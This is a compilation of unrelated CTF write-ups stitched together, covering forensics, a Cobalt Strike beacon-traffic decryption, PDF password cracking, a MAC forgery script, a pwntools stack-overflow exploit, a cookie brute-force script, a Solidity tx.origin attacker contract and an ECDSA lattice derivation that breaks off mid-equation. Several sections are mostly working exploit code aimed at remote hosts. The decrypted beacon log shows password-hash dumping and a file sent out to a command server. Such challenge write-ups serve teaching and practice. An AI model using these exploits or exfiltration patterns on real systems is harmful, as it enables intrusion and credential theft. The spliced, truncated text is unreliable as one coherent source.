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# Discord## Description
Find the account creation date of one of our discord channel admins (4dam).
Note: Please put the date in this format YYYY/MM/DD for submission, like this: SBCTF{1970/01/01}
## WriteupFirst of all we need to get the account creation date of the admin. We searched up his name on Discord server and found his ID: 808684903301775360
Put it into a Discord account creation date checker (https://hugo.moe/discord/discord-id-creation-date.html) we got the YMD, and hence we got the flag!
## Flag`SBCTF{2021/02/09}` |
# Description:
Quick! Help! We are sinking!
Wrap the result in TFCCTF{}
Challenge author: hofill
[sl1.txt](https://github.com/palanioffcl/TFCCTF/Crypto/sl1.txt)
# Procedure:
When we open the file we see combination of creepy stuff like .__.__
I thought it was Morse code and tried to decode it
Yes!!! it was...
# Flag:
***Hint : Wrap up the flag with TFCCTF{}***```TFCCTF{WH4T-AR3-Y0U-S1NK1NG-AB0UT?!!!?}``` |
# Luciafer's Fatal Error 
## Details>Luciafer, consummate hacker, got cocky and careless. She made a fatal mistake, and in doing so, gave control of her computer to... someone. She ran a program on her computer that she shouldn't have.> > What is the md5sum of the program? Submit the flag as: `flag{MD5}`.> > Use the PCAP from Monstrum ex Machina---
Removing the `FTP` filter and looking at the packets which follow, we can ssee the folloowing in the `TCP stream`
This appears to be launching a shell.
As before if we then re-filter by `ftp-data`, select the packet relating to `secret-decoder.bin` and extract and save it from the `TCP Stream`.
Now that we have a copy of the file on our local machine we can run;
```bash❯ md5sum secret-decoder.bin42e419a6391ca79dc44d7dcef1efc83b secret-decoder.bin```
## flag{42e419a6391ca79dc44d7dcef1efc83b}
|
# Strike Back
The description for this challenge is as follows:
*A fleet of steam blimps waits the final signal from their commander in order to attack gogglestown kingdom. A recent cyber attack had us thinking if the enemy managed to discover our plans and prepare a counter-attack. Will the fleet get ambused???*
The challenge was rated at 2 out of 4 stars, and it was worth 350 points at the end with a total of 40 solves. The downloadables for the challenge included a .pcap file and a Mini DuMP file. This challenge was reasonably straightforward once you found the correct writeups/scripts.
**TL;DR Solution:** Extract the freesteam.exe file from the pcap and recognize it as part of a cobalt strike attack. Do some research on MiniDuMP files in relation to Cobalt Strike to determine that they can be used to decrypt the beacon's traffic. Use the appropriate scripts to derive keys from the MiniDuMP and apply them to pcap in order to extract the pdf file that contains the flag.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/forensic_challs/HTB_Uni_Quals_21/strike_back
## Gathering Information
The more straightforward component is the pcap file, so we can start there. When I open it up in Wireshark, packets 4 and 10 indicate that the file freesteam.exe was downloaded to the victim device over HTTP. File > Export Objects > HTTP gives me a window that I can use to easily extract this file for further analysis.
If I upload the file to VirusTotal online, it is very clearly malware, and the Community tab indicates that it is a component of Cobalt Strike.
There is more HTTP traffic in the pcap, but it seems to be encrypted somehow, so it's time to move on to the .dmp file. If I use the file command, I can see that this is a MiniDuMP crash report.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_strike_back$ file freesteam.dmp freesteam.dmp: Mini DuMP crash report, 17 streams, Thu Nov 11 11:40:40 2021, 0x469925 type```By using radare2, I can determine that this is a dump for a process of freesteam.exe, which is the Cobalt Strike component from the pcap.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_strike_back$ r2 freesteam.dmp [WARN] Invalid or unsupported enumeration encountered 21[WARN] Invalid or unsupported enumeration encountered 22[INFO] Parsing data sections for large dumps can take time, please be patient (but if strings ain't your thing try with -z)![0x02dd0000]> iSq~exe0x400000 0x409000 ---- C:\Users\npatrick\Downloads\freesteam.exe0x400000 0x409000 ---- C:\Users\npatrick\Downloads\freesteam.exe[0x02dd0000]> ``` By searching for variations on "Cobalt Strike memory dump", I can see that it should be possible to derive a decryption key for the traffic from freesteam.dmp, then apply that key to the pcap file.
## Decrypting the Traffic
I learned that key extraction from a dump varies based on the version of the cobalt strike beacon. In version three, keys are preceded by a set string of metadata and, false positives aside, can be extracted fairly easily. This approach did not work in this case, so I assume that this sample is from version 4. In this case, you provide the encrypted callback, and a script by security researcher Didier Stevens can be used to test all possible keys in the dump against that callback. Once it is successful, it will print the keys, and you can then decrypt the traffic. This blogpost by Stevens himself describes the methodology: https://blog.didierstevens.com/2021/04/26/quickpost-decrypting-cobalt-strike-traffic/.
I got the encrypted callback from packet number 76; it is a POST request to /submit.php?id=542210184. I then used it against the memory dump to extract AES and HMAC keys:```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_strike_back$ python3 cs-extract-key.py -c 000000402b765d3e7a22f0e9df40a966705ae4be1bdef5756ccb0eea362e3d33d6ee17764b57a875cabea7bb2c139211385341b80e197d05b49a6668696879976f287aba freesteam.dmp File: freesteam.dmpSearching for AES and HMAC keysSearching after sha256\x00 string (0x30a1b)AES key position: 0x00438501AES Key: 5c357fa00554fa9a4928f14795811e40HMAC key position: 0x0043b821HMAC Key: 09a36cf8781707756498d7f498211d47SHA256 raw key: 09a36cf8781707756498d7f498211d47:5c357fa00554fa9a4928f14795811e40Searching for raw keySearching after sha256\x00 string (0x431fc9)AES key position: 0x00438501AES Key: 5c357fa00554fa9a4928f14795811e40HMAC key position: 0x0043b821HMAC Key: 09a36cf8781707756498d7f498211d47Searching for raw key```To decrypt the actual packet capture, I have to use both the HMAC and AES keys with another Didier Stevens script to get the following results, edited down for clarity: ```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_strike_back$ python3 cs-parse-http-traffic.py -k 09a36cf8781707756498d7f498211d47:5c357fa00554fa9a4928f14795811e40 capture.pcap Packet number: 9HTTP response (for request 4 GET)Length raw data: 14336HMAC signature invalidPacket number: 49HTTP response (for request 23 GET)Length raw data: 206418HMAC signature invalidPacket number: 69HTTP response (for request 66 GET)Length raw data: 48Timestamp: 1636630530 20211111-113530Data size: 8Command: 27 GETUID Arguments length: 0
Packet number: 76HTTP request POSThttp://192.168.1.9/submit.php?id=542210184Length raw data: 68Counter: 2Callback: 16 BEACON_GETUIDb'WS02\\npatrick (admin)'...Packet number: 134HTTP response (for request 119 GET)Length raw data: 82528Timestamp: 1636630652 20211111-113732Data size: 82501Command: 44 UNKNOWN Arguments length: 82432 b'MZARUH\x89\xe5H\x81\xec \x00\x00\x00H\x8d\x1d\xea\xff\xff\xffH\x81\xc3T\x16\x00\x00\xff\xd3H\x89\x MD5: 18f9b2ca9e8916b1c3246a4355c1b60fCommand: 40 UNKNOWN Arguments length: 53 Unknown1: 0 Unknown2: 1391256 Pipename: b'\\\\.\\pipe\\f541a074' Command: b'dump password hashes' b''
Packet number: 142HTTP request POSThttp://192.168.1.9/submit.php?id=542210184Length raw data: 548Counter: 4Callback: 21 BEACON_OUTPUT_HASHESb'Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nJohn Doe:1001:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::\nnpatrick:1002:aad3b435b51404eeaad3b435b51404ee:3c7c8387d364a9c973dc51a235a1d0c8:::\nWDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c81c8295ec4bfa3c9b90dcd6c64727e2:::\n'...Packet number: 221HTTP request POSThttp://192.168.1.9/submit.php?id=542210184Length raw data: 324Counter: 6Callback: 22 TODOb'\xff\xff\xff\xfe'----------------------------------------------------------------------------------------------------C:\Users\npatrick\Desktop\*D 0 11/11/2021 03:26:59 .D 0 11/11/2021 03:26:59 ..F 5175 11/11/2021 03:24:13 cheap_spare_parts_for_old_blimps.docxF 282 11/10/2021 07:02:24 desktop.iniF 24704 11/11/2021 03:22:16 gogglestown_citizens_osint.xlsxF 62409 11/11/2021 03:20:47 orders.pdf
----------------------------------------------------------------------------------------------------
Packet number: 234HTTP response (for request 231 GET)Length raw data: 80Timestamp: 1636630835 20211111-114035Data size: 44Command: 11 DOWNLOAD Arguments length: 36 b'C:\\Users\\npatrick\\Desktop\\orders.pdf' MD5: b25952a4fd6a97bac3ccc8f2c01b906b
Packet number: 251HTTP request POSThttp://192.168.1.9/submit.php?id=542210184Length raw data: 62588Counter: 7Callback: 2 DOWNLOAD_START parameter1: 0 length: 62409 filenameDownload: C:\Users\npatrick\Desktop\orders.pdf
Counter: 8Callback: 8 DOWNLOAD_WRITE Length: 62409 MD5: 938592c96d1cabb8337c37ab71645b24
Counter: 9Callback: 9 DOWNLOAD_COMPLETEb'\x00\x00\x00\x00'
Commands summary: 11 DOWNLOAD: 1 27 GETUID: 1 40 UNKNOWN: 3 44 UNKNOWN: 2 53 LIST_FILES: 1 89 UNKNOWN: 1
Callbacks summary: 2 DOWNLOAD_START: 1 8 DOWNLOAD_WRITE: 1 9 DOWNLOAD_COMPLETE: 1 16 BEACON_GETUID: 1 21 BEACON_OUTPUT_HASHES: 1 22 TODO: 1 24 BEACON_OUTPUT_NET: 1 32 UNKNOWN: 1```I spent a bit of time with the hashes and found nothing useful, so I moved on to trying to extract the pdf that seems to have downloaded over this encrypted connection. It took me a bit to finally run the decryption script with "--help" and realize that a -e switch was available to extract files to disk. With this slightly modified command, it printed off the same results, but it also added several .vir files to my current directory. The file command revealed that I had several DLL files, an ASCII text file, and one pdf. ```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_strike_back$ python3 cs-parse-http-traffic.py -k 09a36cf8781707756498d7f498211d47:5c357fa00554fa9a4928f14795811e40 capture.pcap -e...knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_strike_back$ lscapture.pcap payload-18f9b2ca9e8916b1c3246a4355c1b60f.vircobalt_virustotal.png payload-2211925feba04566b12e81807ff9c0b4.vircs-extract-key.py payload-2cf6d90b7f82a98b03be07b612f2fef3.vircs-parse-http-traffic.py payload-938592c96d1cabb8337c37ab71645b24.virfreesteam.dmp payload-aaef1a752d26993a64e1ede54d93407c.virfreesteam.exe payload-b25952a4fd6a97bac3ccc8f2c01b906b.virfreesteam_exe_extraction.pngknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_strike_back$ file *.virpayload-18f9b2ca9e8916b1c3246a4355c1b60f.vir: PE32+ executable (DLL) (GUI) x86-64, for MS Windowspayload-2211925feba04566b12e81807ff9c0b4.vir: datapayload-2cf6d90b7f82a98b03be07b612f2fef3.vir: PE32 executable (DLL) (GUI) Intel 80386, for MS Windowspayload-938592c96d1cabb8337c37ab71645b24.vir: PDF document, version 1.4payload-aaef1a752d26993a64e1ede54d93407c.vir: MS-DOS executable PE32+ executable (DLL) (console) x86-64, for MS Windowspayload-b25952a4fd6a97bac3ccc8f2c01b906b.vir: ASCII text, with no line terminators
```I renamed the pdf file to orders.pdf and opened it up normally. The flag was in cleartext inside.
Thanks for reading! |
# Flag Checker, Baby
## Description
This program is perfectly safe, right? It only tells you what you already know. Check your flags:
`nc challs.rumble.host 53921`
```c#include <stdio.h>#include <stdlib.h>#include <string.h>
void check(const char *input, const char *secret_flag) { char guess[32], flag[64]; printf("sizeof(guess) -> %d\n", sizeof(guess)); if (strlen(input) > sizeof(guess)) { puts("HACKER!"); return; }
strncpy(guess, input, sizeof(guess)); strncpy(flag, secret_flag, sizeof(flag)); if (!strcmp(guess, flag)) { printf("Well done! You got it: %s\n", flag); } else { printf("Wrong flag: %s\n", guess); }}
int main(int argc, char** argv) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);
char *secret_flag = getenv("FLAG"); if (!secret_flag) { puts("Flag not found, contact challenge authors."); return 1; }
char input[128]; printf("Enter the flag: "); fgets(input, sizeof(input), stdin); check(input, secret_flag);
return 0;}```
## Solution
Let's analyze the code
We need to bypass this `if`, so our input must be under 33 char
```cif (strlen(input) > sizeof(guess)) { puts("HACKER!"); return;}```
This means that we can insert 31 random character and then the `\n`, inserted when we press `enter`
After that this is made
```cstrncpy(guess, input, sizeof(guess));strncpy(flag, secret_flag, sizeof(flag));```
In the first `strncpy` all the char are copyed, `\0` inclued, but in this way the `\0` would go in the first cell of the `flag` variable and when the 2nd `strncpy` is called, this char is replaced.
So this printf should print `input + \n + flag`
```cprintf("Wrong flag: %s\n", guess);```
Let's try to pass 31 char to the programs
```console$ nc challs.rumble.host 53921Enter the flag: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaWrong flag: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCSR{should_have_used_strlcpy_instead}```
As expected we get the flag
#### **FLAG >>** `CSR{should_have_used_strlcpy_instead}` |
# Result
## Description
I really want to know my test result, but unfortunately its additionally protected. I attached the [email](Test_Result.eml). Maybe you can help?
## Solution
First of all let's open the email
There is an enctrypted pdf file
```The password is your personal zipcode.```
This hint about the password can simplify the challenge. On [Wikipedia](https://en.wikipedia.org/wiki/List_of_postal_codes_in_Germany) we found that in Germany there are approximately 100000 zip code, so let's create e list with all these zip code
```pythonwith open("list.txt", "w") as f: for i in range(0,100000): print(i, file=f)```
Now we can extract the hash with john and crack it
```console$ ./pdf2john.pl result.pdf > pdf.hash
$ cat pdf.hashresult.pdf:$pdf$5*6*256*-4*1*16*a7e7f3044ae023f1d1fac448bf25592c*48*67171ef681ef91ed5bea716fa5eceda89b8659e1e7e4c5b810be37befb1ddd6ccc0217015a1eebce2c84e57607d22225*48*9b5a9e500fb87e9d4171e22fa77eb5a72ba857d2e2eaa4674ec8ed69831c77fdf400be271c304f6875dd1c5272a3fef0*32*e6e5cbe1bef4ba12e74a43e8a079970ed93664333955e76d22396fe69367d3fc*32*3de89fe5d937cf8a0b1105dd7c60a0c24bd3ca0e815b59cd02a59581d36165be
$ john pdf.hash --wordlist=list.txtUsing default input encoding: UTF-8Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])Cost 1 (revision) is 6 for all loaded hashesWill run 8 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for status73760 (result.pdf)1g 0:00:00:12 DONE (2021-11-27 17:36) 0.07782g/s 5757p/s 5757c/s 5757C/s 73728..73983Use the "--show --format=PDF" options to display all of the cracked passwords reliablySession completed```
All that remains is to use `73760` as a password to open the file
#### **FLAG >>** `CSR{BigBigEntropy}` |
Just Solution
```pythonfrom pwn import *
def xor(a, b): return bytes(aa ^ bb for aa, bb in zip(a, b))
r = remote('babymac.hackable.software', 1337)# r = remote('localhost', 1234)
m = (b'\x10' * 16).hex()print(r.sendlineafter(b'> ', b'sign').decode(), 'sign')print(r.sendlineafter(b'> ', b''), '')t = bytes.fromhex(r.recvline().decode().strip())[:16]print("t is : ", t.hex())
m_pream = (b'gimme flag' + b'\x00' * 6).hex()print(r.sendlineafter(b'> ', b'sign').decode(), 'sign')sg = xor(bytes.fromhex(m_pream), t)print(r.sendlineafter(b'> ', sg.hex().encode()).decode(), sg.hex())t_pream = bytes.fromhex(r.recvline().decode().strip())[:16]print("t_pream is : ", t_pream.hex())
payload = (t_pream + bytes.fromhex(m) + b'\x00' * 16 + bytes.fromhex(m_pream)).hex()print(r.sendlineafter(b'> ', b'verify').decode(), 'verify')print(r.sendlineafter(b'> ', payload.encode()).decode(), payload)r.interactive()
```flag :```DrgnS{yuP_th4t_wa5nt_h4rD!1}``` |
# [getstat](https://github.com/redrocket-ctf/csr-2021-tasks/tree/main/getstat)
## Challenge setup
The challenge consists of a remote (binary) service that accepts a number of probes and calculates the average and deviation of all probes.The binary and docker setup of the remote server are provided with the challenge.
``` _ _ _ | | | | | | __ _ ___| |_ ___| |_ __ _| |_ / _` |/ _ \ __/ __| __/ _` | __|| (_| | __/ |_\__ \ || (_| | |_ \__, |\___|\__|___/\__\__,_|\__| __/ | |___/ Bitte Größe der Stichprobe eingeben: 2 Bitte Wert eingeben: 1 Bitte Wert eingeben: 2 Arithmetisches Mittel: 1.5000000 Korrigierte Stichprobenvarianz: 0.500000```
## First look:
- You can enter negative sizes and you still get prompted for input- You can abort the program by entering somthing that can't be parsed as a float- When you enter something like `-1` for size, enter enough data points and then abort, you receive ``` *** stack smashing detected ***: terminated Aborted (core dumped) ```- The values seem to be allocated on the stack!
It should be possible to overwrite the return address and then abort the program to jump to arbitrary addresses.
Tasks:- Figure out offset of stack pointer- Figure out where we should jump to
For this, we disassembled the provided binary using ghidra.There, we tried to understand the code by renaming some labels and found out that the binary contains a shell function at address `0x401360` that calls system with `sh`Furthermore, we noticed that the values are read as 64bit floats, so we have to enter all addresses using floating point numbers.
The stack offset is 16byte aligned, and the return address is 88 bytes from the input pointer, so we use size `-10` to get close to the return address,then write some garbage, and the target address as a float.
First exploit:```pyfrom pwn import *import struct
def iToF(i): b = struct.pack('q', i) return struct.unpack('d', b)[0] addr = 0x401360
r = remote('challs.rumble.host', 3143)r.sendlineafter(b':', b'-10')r.sendlineafter(b':', b'0')r.sendlineafter(b':', bytes(str(iToF(addr)), 'utf-8'))r.sendlineafter(b':', b'a')r.interactive()```
This worked on my local machine, but not on the remote host.Thankfully, the docker setup of the challenge was also provided.Debugging the exploit in docker revealed that the `system('sh')` expected a 16byte stack alignment, while our stack alignment was only 8bytes.
This can be fixed by a 'ret gadget'.
Instead of jumping directly to the shell function, we first jump to another ret instruction, which pops additional 8 bytes from the stack, fixing our stack alignment.
The main function itself has a ret instruction at a static address, so we just use it.
```pyfrom pwn import *import struct
def iToF(i): b = struct.pack('q', i) return struct.unpack('d', b)[0] ret = 0x4013e4addr = 0x401360
r = remote('challs.rumble.host', 3143)r.sendlineafter(b':', b'-10')r.sendlineafter(b':', b'0')r.sendlineafter(b':', bytes(str(iToF(ret)), 'utf-8'))r.sendlineafter(b':', bytes(str(iToF(addr)), 'utf-8'))r.sendlineafter(b':', b'a')r.interactive()```
Now we have an interactive shell, and we can read the flag from the filesystem. |
# Messi BelieversGiven a zip file `messifans.zip` and simple web page with login functionality. Extract the zip and we got some source files of the web, `app.js` is interesting:
```jsconst users = [ { userID: "972", username: "CR7Junior", password: "Messiteamo" }, { userID: "REDACTED", username: "admin" }]
app.get("/", (req, res) => { const adm = users.find(u => u.username === "admin") if(req.cookies && req.cookies.userData && req.cookies.userData.userID) { const {userID, username} = req.cookies.userData
if(req.cookies.userData.userID === adm.userID) res.render("home.ejs", {username: username, flag: process.env.FLAG}) else res.render("home.ejs", {username: username, flag: "No flag for u!"}) } else { res.render("noauth.ejs") }})```
We have some hardcoded credentials, `CR7Junior:Messiteamo` and `admin:unknownpassword`. Try to login with `CR7Junior:Messiteamo`. Logged in and it gave us a cookie with `userData` as name and `j%3A%7B%22userID%22%3A%22972%22%2C%22username%22%3A%22CR7Junior%22%7D` as its value. Looking at code snippet above, we can see that session handling is 100% rely on cookie and the cookie is basically `j:{"userID":"972","username":"CR7Junior"}` (in URL-decoded format) which is very guessable. So if we knew what is the `userId` of `admin` it will print us the flag, however it is written as `REDACTED` on the snippet. The solution is to guess the `userID` with brute force attack. Trial and error, first I try `0` to `999` but it failed. Next I try `000` to `999` because maybe it has to be a 3 digits numeric value, but it failed too. Last, I try `1000` to `10000` and it is a great success. You can see my code below, I piped it into `grep` since I just want the flag so I really don't know what exactly is the `userID` but it's somewhere in that range. Also, I tried multithreading but it constantly gave me errors, so it takes time to solve this one.
```python#!/usr/bin/env python3
import requests# There are some SSL warnings so I wrote these 2 lines to just get rid of itimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = 'https://messifans.ctf.cert.unlp.edu.ar/'for x in range(1000,10000): brute = 'j%3A%7B%22userID%22%3A%22{}%22%2C%22username%22%3A%22admin%22%7D'.format(x) cookies = {'userData': brute} resp = requests.get(url, cookies=cookies, verify=False) print(resp.text)```Output:```...CTF No flag for u!CTF No flag for u!CTF No flag for u!CTF flag{c00K1eee_m0nst3r_n00B}CTF No flag for u!CTF No flag for u!CTF No flag for u!...```
CTF No flag for u!
CTF No flag for u!
CTF No flag for u!
CTF flag{c00K1eee_m0nst3r_n00B}
CTF No flag for u!
CTF No flag for u!
CTF No flag for u!
**FLAG: flag{c00K1eee_m0nst3r_n00B}** |
* `crt.sh` search* Apache 2.4.50 Path Traversal (CVE-2021-42013)* Sign a custom Flask cookie with exposed secret key
[Read the writeup here](https://ctf.zeyu2001.com/2021/cybersecurityrumble-ctf/lukas-app) |
# Writeup: UnknownOrigin
## Challenge Description
> It's not always about where you're going, sometimes it's about where you're coming from.
## Setup + Solution
This most difficult part of the challenge was the setup of the environment, so in this writeup I'll be going over the connection to MetaMask & the Remix IDE. The actual exploitation is (in my opinion) much easier.
## Setup### Setting up MetaMask
In order to connect to the challenge network, you'll have to add a new network to [Metamask](https://metamask.io/). The challenge help section has a detailed instruction on how to connect MetaMask to the network. I'll also list it below:
```To start playing the challenges you will need the MetaMask browser extension.Once you have MetaMask you will need to connect to the network, create an account and get some Ether.MetaMask -> (Icon top right) -> Settings -> Networks -> Add Network:Network Name: "CTF Network" (Can be whatever you like)New RPC URL: http(s)://{SERVER}:8545Chain ID: 1337MetaMask -> (Icon top right) -> Create AccountYou can claim Ether one time per account on the "Register" page. Copy the public key of your account from MetaMask to the text field and click "Get Ether".```__Note: When adding the network, MetaMask could tell you that `This URL is currently used by the localhost network.` or `This Chain ID is currently used by the localhost network.` You can enter the RPC URL as `http://localhost:8545/` and ignore the Chain ID. As long as the network can still be created by clicking `Save`, you're all good.__
To verify that you're connected to the network, check that the NetMask extension shows a green light next to your account with the text `Connected`.
Additionally, you can check in the browser console of the page by entering `player`.
```js> player'{YOUR_ETH_ADDRESS}'```
Next, you can add the ETH to your account by following the above instructions from the help section.
Now you should see that 10 ETH has been added to your account.
Now we can start with the challenge!
### The challenge
After creating the instance & confirming the level creation of MetaMask, we can have a look at the contract.
`UnknownOrigin.sol````js// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract UnknownOrigin { address public owner;
constructor() public { owner = msg.sender; } modifier onlyOwned () { require(msg.sender != tx.origin); _; }
function updateOwner (address _newOwner) public onlyOwned { owner = _newOwner; }}```
As stated on the challenge page, our goal is to `Claim ownership of the contract to win.` \We can see that during the creation of the contract, the owner is set to the contract or person that called the contract. \If we enter `await contract.owner()` we can see current owner of the contract.
```js > await contract.owner();'{CURRENT_OWNER_ADDRESS}'```
If we compare the owner address to our address, we can see that they differ, so our goal is to make us the owner of the contract (as stated in the challenge prompt). \\How can we set the owner? Conveniently, the contract has a `updateOwner` function that sets the owner to whatever address we specify. \If we try to call the `updateOwner` function in the browser console, we will get a bunch of error messages.
```js> await contract.updateOwner(player);'Error in RPC response:,Internal JSON-RPC error.'...```
This is because we didn't satisfy the modifier `onlyOwned`, which is a prerequisite check to make sure that "only" the owner can call the `updateOwner` function. The modifier checks if the caller of the contract (`msg.sender`) isn't equal to the origin of the transaction (`tx.origin`). \So how can we bypass this check & call `updateOwner`? For this we'll have to figure out what the difference is between `msg.sender` & `tx.origin`. \When googling for the difference between the two, I stumbled upon this [writeup](https://medium.com/@nicolezhu/ethernaut-lvl-4-walkthrough-how-to-abuse-tx-origin-msg-sender-ef37d6751c8) for the Ethernaut (Level 4) challenge. This challenge basically identical to our challenge & I advise you to read the whole writeup (it isn't very long).\\But in essence we can exploit the following: - `tx.origin` can only be a (user) wallet address and __not__ a contract address.- `msg.sender` can be a (user) wallet address and/or a contract address.
So our exploit plan will be as follows.1. Create a new contract which calls the `UnkownOrigin` address2. Call the `updateOwner` function in our (attacker) contract with our wallet address.
Thus `tx.origin` will be set to our wallet address and `msg.sender` will be set to our (attacker) contract, bypassing the check in the target (`UnknownOrigin`) contract.
### Creating & Deploying a malicious contract
I'll be using [Remix](http://remix.ethereum.org/) to create & deploy our malicious contract.
Let's first setup our workspace in Remix.
Remix will create some template contracts (in the `./contracts/` directory). These can either be ingored or deleted, whatever floats your boat.
Now we can create our .sol files. First, create a `UnknownOrigin.sol` file in the contracts directory and copy/paste the challenge code:
```js// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
contract UnknownOrigin { address public owner;
constructor() public { owner = msg.sender; } modifier onlyOwned () { require(msg.sender != tx.origin); _; }
function updateOwner (address _newOwner) public onlyOwned { owner = _newOwner; }}```Now we can create our malicious contract.
As detailed before, we want to call the `UnknownOrigin` contract from our contract, so we will have to import it into our script. Additionally, we will create a function which calls the `updateOwner` function in the target contract.
Knowing this, I created the malicious contract `AttackerOrigin`:
`AttackerOrigin.sol`
```js// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import "./UnknownOrigin.sol";
contract AttackerOrigin { UnknownOrigin public unknownOrigin = UnknownOrigin(YOUR_CHALLENGE_CONTRACT_ADDRESS);
function attackOwner(address _owner) public { unknownOrigin.updateOwner(_owner); }
}```The Remix workspace should now look similar to this:
Now that we created our malicious contract, let's deploy it.
Before deploying we will have to compile it, which can be done by navigating to the Solidity compiler in the sidebar & clicking Compile. \_Make sure you have the malicious .sol file selected in the Remix file explorer._
Now we can deploy the contract! \Navigate to the deploy section in the sidebar & select `Injected Web3` as your environment (make sure that metamask is connected to the Remix Site). Next, make sure the address & contract is correct and can press `Deploy`. \The contract has been deployed & it should be visible in the `Deployed Contracts` dropdown menu. We can now change the owner of the `UnknownOrigin` contract by pasting our (user) address into the `_owner` field & pressing the `attackOwner` button.
The transaction should successfully be mined & executed, making us the owner of the target contract!
We can double-check this by going to the challenge page & checking the owner of the contract with our user address.
```js> await contract.owner() == playertrue```
We can now submit the instance, sign the message & get the flag.
## Flag: CSR{0r1gn4l_M5g_123_x} |
[full writeup](https://blog.puddle.sg/write-ups/2021-11-29-CyberSecurityRumble-CTF-2021) Solution: Create a new account named `x` on the payback site. On the payment site however, we create an account with username `xamount1337`. We then purchase 0 coins with this payment account. We then modify the callback url from `/callback?user=xamount1337&amount=0&nonce=1&signature=somesignature` to `/callback?user=x&amount=1337&amount=0&nonce=1&signature=somesignature`. We can now purchase the flag as user x. |
The `verify` function does not really havy anything in common with the original verify function of ECDSA (you need the private key for verification o.O).
The `sign` function receives a message $m$ as input and hashes it into value $h$. Then, it chooses a random $k$, computes $r = g^k \bmod n$ and $s = k^{-1} (h + d \cdot r) \bmod n$ as well as the seven least significant bits $lsb$ of $k$. We are given 200 tuples of the form $(m, h, r, s, lsb)$. The task is to find the private key $d$ so we can sign the message `william;yarmouth;22-11-2021;09:00` and send it to the server. If the signature verifies correctly, the server provides us with the flag.
The security of ECDSA completely relies on $k$ as well as $d$ being chosen perfectly random. If an attacker is able to predict only a single bit of $k$ with a probability bigger than 50% they can break ECDSA. We refer the interested reader to the [*Ladderleak* paper](https://eprint.iacr.org/2020/615.pdf) for more information.
In our case we are given seven bits of the secret $k$ per signature. So breaking ECDSA is possible for sure. Our attacker scenario (we know LSBs) and how to solve it using lattice attacks is described in the paper [Recovering cryptographic keys from partial information, by example](https://eprint.iacr.org/2020/1506.pdf).
We are given 200 message signature pairs so we have 200 equations of the form$$s_i = k_i^{-1} (h_i + d r_i) \mod n$$with $0 \leq i \leq 199$.
Let's take the first equation and transform it.
$s_0 = k_0^{-1} (h_0 + d r_0) \mod n \quad\quad\quad\quad\quad\quad\quad\quad\quad\quad | \cdot k_0s_0^{-1}$
$k_0 = s_0^{-1} (h_0 + d r_0) \mod n \quad\quad\quad\quad\quad\quad\quad\quad\quad\quad | - s_0^{-1} (h_0 + d r_0)$
$0 = k_0 - s_0^{-1} (h_0 + d r_0) \mod n$
$0 = k_0 - s_0^{-1} h_0 - r_0 s_0^{-1} d \mod n\quad\quad\quad\quad\quad\quad\quad | \cdot r_0^{-1} r_i s_0 s_i^{-1}$
$0 = r_0^{-1} r_i s_0 s_i^{-1} k_0 - r_0^{-1} r_i s_i^{-1} h_0 - r_i s_i^{-1}d \mod n$
Now we substract the first equation from all remaining 199 equations ($1 \leq i \leq 199$):
$0 = k_i - s_i^{-1} h_i - r_i s_i^{-1} d - (r_0^{-1} r_i s_0 s_i^{-1} k_0 - r_0^{-1} r_i s_i^{-1} h_0 - r_i s_i^{-1}d) \mod n$
$0 = k_i - s_i^{-1} h_i - r_i s_i^{-1} d - r_0^{-1} r_i s_0 s_i^{-1} k_0 + r_0^{-1} r_i s_i^{-1} h_0 + r_i s_i^{-1}d \mod n$
By doing so we get rid of the unknown private key $d$.
$0 = k_i - s_i^{-1} h_i - r_0^{-1} r_i s_0 s_i^{-1} k_0 + r_0^{-1} r_i s_i^{-1} h_0 \mod n$
We reorder the summands such that summands with unknown values $k$ are written first.
$0 = k_i - r_0^{-1} r_i s_0 s_i^{-1} k_0 - s_i^{-1} h_i + r_0^{-1} r_i s_i^{-1} h_0 \mod n$
By getting rid of $d$, the only remaining unknons are the values $k_0,\dots, k_{199}$. However, we also only have 199 equations left. Simply solving for the unknowns is therefore not possible.
Here, the additional information about the LSBs comes into play. Let's write every $k_i$ as a number $k_i = 2^7 b_i + a_i$ of which we know the value $a_i$ (this is the last seven bits). The $b_i$ remain unknowns. We rearrange the equations further.
$0 = (2^7 b_i + a_i) - s_i^{-1} h_i - r_0^{-1} r_i s_0 s_i^{-1} (2^7 b_0 + a_0) + r_0^{-1} r_i s_i^{-1} h_0 \mod n$
$0 = 2^7 b_i + a_i - s_i^{-1} h_i - 2^7r_0^{-1} r_i s_0 s_i^{-1} b_0 - r_0^{-1} r_i s_0 s_i^{-1} a_0 + r_0^{-1} r_i s_i^{-1} h_0 \mod n$
Again, we write the summands with unknowns first.
$0 = 2^7 (b_i - r_0^{-1} r_i s_0 s_i^{-1} b_0) + a_i - s_i^{-1} h_i - r_0^{-1} r_i s_0 s_i^{-1} a_0 + r_0^{-1} r_i s_i^{-1} h_0 \mod n \quad | \cdot 2^{-7}$
